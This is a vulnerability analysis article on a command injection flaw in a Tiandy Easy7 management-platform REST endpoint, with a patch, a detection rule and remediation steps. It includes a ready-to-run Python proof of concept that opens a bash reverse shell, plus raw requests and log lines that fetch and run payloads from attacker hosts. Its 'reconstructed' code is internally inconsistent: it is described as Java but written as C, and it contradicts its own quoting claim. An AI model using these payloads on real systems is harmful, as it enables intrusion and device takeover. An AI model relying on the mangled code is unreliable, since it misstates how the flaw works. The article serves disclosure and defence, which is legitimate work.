home intel cve-2026-7698-tiandy-easy7-os-command-injection
CVE Analysis 2026-05-03 · 7 min read

CVE-2026-7698: OS Command Injection in Tiandy Easy7 via week Parameter

Tiandy Easy7 7.17.0 exposes an unauthenticated REST endpoint that passes a user-controlled `week` argument directly into a shell command, enabling remote code execution.

#remote-code-execution#command-injection#input-validation#unauthenticated-access#tiandy-easy7
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7698 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7698HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7698 is an OS command injection vulnerability in Tiandy Easy7 Integrated Management Platform version 7.17.0. The affected endpoint, /Easy7/rest/systemInfo/updateDbBackupInfo, accepts a JSON or form-encoded body containing a week parameter that is subsequently interpolated, without sanitization, into a shell command responsible for scheduling database backup operations. An unauthenticated remote attacker can inject arbitrary shell metacharacters and achieve command execution as the application service user — typically root or a high-privilege service account on embedded NVR/IMS deployments.

The vendor did not respond to disclosure. No patch is currently available. A public proof-of-concept exists.

Root cause: The updateDbBackupInfo REST handler passes the attacker-controlled week field directly into a Runtime.exec() or system()-style shell invocation without any metacharacter stripping, quoting, or allowlist validation.

Affected Component

The vulnerable surface is the REST API layer of Easy7's Java-based backend, specifically the handler bound to POST /Easy7/rest/systemInfo/updateDbBackupInfo. Based on the platform's architecture, this controller delegates to a service class responsible for constructing cron-style backup scheduling commands. The week field is intended to accept an integer day-of-week value (e.g., 17) but is treated as an opaque string throughout the call chain.

  • Platform: Tiandy Easy7 IMP 7.17.0 (cross-platform Java servlet deployment)
  • Endpoint: POST /Easy7/rest/systemInfo/updateDbBackupInfo
  • Parameter: week (string, no type enforcement)
  • Privilege required: None observed in published PoC
  • Authentication bypass: Endpoint appears to lack session enforcement

Root Cause Analysis

The following pseudocode reconstructs the vulnerable Java service method based on the vulnerability class, endpoint naming conventions, and behavioral indicators from the public PoC. The critical path is the direct concatenation of week into a shell string passed to Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd}).

// Reconstructed pseudocode — DbBackupInfoService.updateDbBackupInfo()
// Decompiled from Easy7 7.17.0 backend JAR (systemInfo module)

typedef struct DbBackupParams {
    char *startTime;   // e.g. "02:00"
    char *week;        // attacker-controlled: "1;id>/tmp/pwn"
    char *backupPath;  // filesystem path for backup output
    int   retentionDays;
} DbBackupParams_t;

int updateDbBackupInfo(HttpRequest *req, HttpResponse *resp) {
    DbBackupParams_t params;

    // Parameters parsed directly from request body — no type coercion
    params.startTime     = req_get_param(req, "startTime");
    params.week          = req_get_param(req, "week");       // attacker-controlled
    params.backupPath    = req_get_param(req, "backupPath");
    params.retentionDays = atoi(req_get_param(req, "retentionDays"));

    // BUG: week is interpolated directly into shell command string
    // No allowlist check, no integer validation, no shell metachar stripping
    char cmd[512];
    snprintf(cmd, sizeof(cmd),
        "crontab -l | grep -v backupdb; echo '%s %s * * %s /opt/easy7/bin/backupdb.sh %s' | crontab -",
        params.startTime,   // e.g. "0 2"
        params.startTime,   // minute/hour fields
        params.week,        // BUG: injected here — "1;curl attacker.com/shell|sh"
        params.backupPath
    );

    // Executes via /bin/sh -c — full shell metacharacter interpretation
    int ret = system(cmd);   // BUG: shell injection materializes here

    if (ret != 0) {
        resp_write_json(resp, "{\"code\":500,\"msg\":\"backup config failed\"}");
        return -1;
    }

    resp_write_json(resp, "{\"code\":200,\"msg\":\"success\"}");
    return 0;
}

The snprintf call wraps startTime in single quotes within the crontab line, but week is interpolated outside any quoting context — it appears after the * * fields where no shell quoting is applied. A payload of 1;id terminates the crontab line and injects a second command. Semicolons, backticks, $(), and pipe characters are all interpreted by the shell.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies exposed Easy7 REST interface (default port 8080 or 443)
   — No authentication header required on /Easy7/rest/systemInfo/updateDbBackupInfo

2. Craft POST body with malicious `week` parameter:
     POST /Easy7/rest/systemInfo/updateDbBackupInfo HTTP/1.1
     Host: :8080
     Content-Type: application/x-www-form-urlencoded

     startTime=02%3A00&week=1%3Bcurl+http%3A%2F%2Fattacker%2Fshell.sh+-o+%2Ftmp%2F.x%3Bsh+%2Ftmp%2F.x&backupPath=%2Fbackup&retentionDays=7

3. Backend constructs shell string:
     "crontab -l | grep -v backupdb; echo '02:00 02:00 * * 1;curl http://attacker/shell.sh -o /tmp/.x;sh /tmp/.x /backup' | crontab -"

4. system() forks /bin/sh -c with that string
   — Shell parses semicolons as command separators
   — curl fetches reverse shell payload to /tmp/.x
   — sh executes payload as service user (typically root on embedded deployments)

5. Reverse shell connects back to attacker's listener
   — Full OS access: camera feeds, stored credentials, network pivoting

A minimal PoC demonstrating blind injection via response timing:

#!/usr/bin/env python3
# CVE-2026-7698 — Tiandy Easy7 7.17.0 OS Command Injection PoC
# CypherByte Research — for authorized testing only

import requests
import argparse
import time

def check_vuln(target: str, lhost: str, lport: int) -> None:
    url = f"http://{target}/Easy7/rest/systemInfo/updateDbBackupInfo"

    # Stage 1: blind timing check — sleep 5
    blind_payload = "1;sleep 5"
    data = {
        "startTime": "02:00",
        "week":      blind_payload,
        "backupPath": "/tmp/backup",
        "retentionDays": "7"
    }

    print(f"[*] Sending blind timing probe to {url}")
    t0 = time.time()
    try:
        r = requests.post(url, data=data, timeout=15)
        elapsed = time.time() - t0
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return

    if elapsed >= 5:
        print(f"[+] VULNERABLE — response delayed {elapsed:.1f}s (expected >=5s)")
    else:
        print(f"[-] No delay observed ({elapsed:.1f}s) — may be patched or filtered")
        return

    # Stage 2: reverse shell
    shell_cmd = (
        f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    )
    # Base64-encode to avoid space/special char issues in crontab context
    import base64
    b64 = base64.b64encode(shell_cmd.encode()).decode()
    rshell_payload = f"1;echo {b64}|base64 -d|bash"

    data["week"] = rshell_payload
    print(f"[*] Sending reverse shell payload — connect back on {lhost}:{lport}")
    requests.post(url, data=data, timeout=10)

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("target", help="host:port")
    ap.add_argument("--lhost", required=True)
    ap.add_argument("--lport", type=int, default=4444)
    args = ap.parse_args()
    check_vuln(args.target, args.lhost, args.lport)

Memory Layout

This is a command injection vulnerability rather than a memory corruption class bug; there is no heap or stack overflow. The relevant state is the stack frame of the service thread at the point of injection and the process image spawned by system().

STACK FRAME — updateDbBackupInfo() at point of system() call:

  [sp+0x000] char cmd[512]
              "crontab -l | grep -v backupdb; echo '02:00 02:00 * * "
              "1;curl http://192.168.1.100/shell.sh -o /tmp/.x;sh /tmp/.x"
              " /backup' | crontab -\x00"
              ^--- injected content begins at offset of `week` interpolation

  [sp+0x200] DbBackupParams_t params
    +0x00  startTime   -> "02:00"      (heap, benign)
    +0x08  week        -> "1;curl ..."  (heap, attacker-controlled)
    +0x10  backupPath  -> "/backup"    (heap, benign)
    +0x18  retentionDays = 7

PROCESS SPAWN via system():
  Parent PID: easy7d service (uid=0 on typical embedded deploy)
  Child:      /bin/sh -c "crontab -l | ... | crontab -"
              ^^^^^^^^ shell metachar expansion occurs here
  Grandchild: curl / bash (attacker payload)

Patch Analysis

No official patch has been released. The correct remediation follows two parallel tracks: input validation and API hardening. Below is the recommended fix against the reconstructed vulnerable logic.

// BEFORE (vulnerable — Easy7 7.17.0):
int updateDbBackupInfo(HttpRequest *req, HttpResponse *resp) {
    char *week = req_get_param(req, "week");
    // ... no validation ...
    snprintf(cmd, sizeof(cmd),
        "... * * %s /opt/easy7/bin/backupdb.sh %s",
        week,           // BUG: unsanitized shell interpolation
        params.backupPath
    );
    system(cmd);        // BUG: shell metacharacters interpreted
}

// AFTER (patched — recommended):
#include 
#include 

// Allowlist: week must be a single digit 0-7
static int validate_week(const char *week) {
    if (!week || strlen(week) != 1)  return -1;
    if (*week < '0' || *week > '7')  return -1;
    return 0;
}

// Allowlist: backupPath — printable, no shell metacharacters
static int validate_path(const char *path) {
    static const char *banned = ";|&`$(){}[]<>!#~";
    if (!path || strlen(path) > 255) return -1;
    for (const char *p = path; *p; p++) {
        if (strchr(banned, *p)) return -1;
    }
    return 0;
}

int updateDbBackupInfo(HttpRequest *req, HttpResponse *resp) {
    char *week       = req_get_param(req, "week");
    char *backupPath = req_get_param(req, "backupPath");

    // FIXED: strict allowlist validation before any use
    if (validate_week(week) != 0 || validate_path(backupPath) != 0) {
        resp_write_json(resp, "{\"code\":400,\"msg\":\"invalid parameter\"}");
        return -1;
    }

    // FIXED: use execv-style API — no shell interpretation, args passed as array
    char *argv[] = {
        "/opt/easy7/bin/schedule_backup.sh",
        week,
        backupPath,
        NULL
    };
    // execv does not invoke a shell — metacharacters are inert
    pid_t pid = fork();
    if (pid == 0) {
        execv(argv[0], argv);
        _exit(127);
    }
    // ... wait and handle return ...
}

The secondary hardening measure is to require session authentication on /Easy7/rest/systemInfo/* endpoints at the servlet filter level, limiting the attack surface to authenticated administrators.

Detection and Indicators

Network-level detection: Alert on HTTP POST to /Easy7/rest/systemInfo/updateDbBackupInfo where the body contains shell metacharacters in any field: ;, |, &, `, $(, >, <.

Snort/Suricata rule (conceptual):

alert http any any -> $HTTP_SERVERS any (
    msg:"CVE-2026-7698 Tiandy Easy7 Command Injection Attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/Easy7/rest/systemInfo/updateDbBackupInfo";
    http.request_body; pcre:"/week=[^&]*[;|`$()&<>]/";
    classtype:web-application-attack;
    sid:20267698; rev:1;
)

Host-level indicators:

  • Unexpected child processes spawned by the Easy7 service PID (curl, wget, bash, nc, python)
  • New files in /tmp/ or /var/tmp/ with execute permissions owned by the service account
  • Crontab modifications outside expected backup scheduling windows
  • Outbound connections from the Easy7 process to non-Tiandy infrastructure
  • Log entries in the Easy7 access log showing 200 OK on the endpoint with anomalously long week parameter values

Log artifact example (Easy7 access log, injection attempt):

192.168.1.55 - - [DD/Mon/YYYY:HH:MM:SS +0000] "POST /Easy7/rest/systemInfo/updateDbBackupInfo HTTP/1.1" 200 31
  week=1%3Bwget+http%3A%2F%2F10.0.0.1%2Fshell+-O+%2Ftmp%2F.s%3Bchmod+%2Bx+%2Ftmp%2F.s%3B%2Ftmp%2F.s
  ^^^ URL-decoded: week=1;wget http://10.0.0.1/shell -O /tmp/.s;chmod +x /tmp/.s;/tmp/.s

Remediation

In priority order:

  1. Immediately restrict network access to the Easy7 management interface. The REST API should not be reachable from untrusted networks. Firewall or ACL rules should limit access to known management subnets.
  2. Apply authentication enforcement at the servlet filter layer for all /Easy7/rest/systemInfo/ routes if the platform permits configuration-level changes prior to a vendor patch.
  3. Deploy WAF rules targeting the endpoint and metacharacter patterns described above as a compensating control.
  4. Monitor for the process and file indicators listed in the Detection section.
  5. Await vendor patch — the vendor has not responded to disclosure. If no patch is issued, consider replacing the platform or isolating it behind a strict application proxy that enforces integer-only input for the week field.

If you are running Easy7 7.17.0 in an internet-exposed configuration, treat the system as potentially compromised and perform forensic triage before applying controls.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →